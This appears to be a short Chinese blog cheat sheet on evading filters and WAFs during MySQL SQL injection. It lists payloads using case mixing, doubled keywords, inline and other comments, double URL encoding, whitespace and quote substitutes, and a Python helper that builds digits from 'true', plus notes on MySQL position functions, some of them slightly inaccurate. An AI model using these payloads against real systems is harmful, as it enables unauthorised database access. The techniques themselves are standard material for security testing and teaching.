注释

  • --
  • /**/
  • #

大小写绕过

  • uniON sEleCt

内联注释绕过

一些特有的仅在MYSQL上的语句放在 /! ... / 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行

  • select * from sql_test where id = 3 union /*!select*/ * from sql_test where id like 2;

双写绕过

  • UNIunionON+SeLselectECT+1,2,3–

编码绕过

遇到解码url 可以用双重编码进行绕过

绕过空格

可以使用:

  • %0a 回车
  • %0b
  • %0c
  • %0d
  • %09
  • %a0 (特定字符集才能用)
  • /**/
  • () eg:select(id)from(sql_test)where(id=1);
  • ` 反引号

绕过等号

可以用 like代替

过滤引号

  • 使用` 反引号

其他

  • regexp(): MySQL中使用 REGEXP 操作符来进行正则表达式匹配。
  • 可以使用true来构造任意数字 来绕过 过滤数字:

    • def toConstructDigital(n):
          temp=""
          if n>0:
              for i in range(1,n+1):
                  temp+="true"
                  if i!=n:
                      temp+="+"
          else:
              temp="false"
          return temp
  • 由于用户名是String与Number进行了比较,因此MySQL默默地将列名转换为number。 当字符串转换为数字并以字母开头时,该值将为零.
  • MySQL定位函数:

    • INSTR(str,substr) –> 返回字符串 str 中子字符串的第一个出现位置,否则为0
    • FIND_IN_SET(str,strlist) –> 返回字符串 str 中子字符串的第一个出现位置,否则为0
    • LOCATE(substr,str,pos) –> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置在pos。如若substr 不在str中,则返回值为0
    • POSITION(substr IN str) –> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0
Last modification:May 3rd, 2021 at 05:50 pm
如果觉得我的文章对你有用,请随意赞赏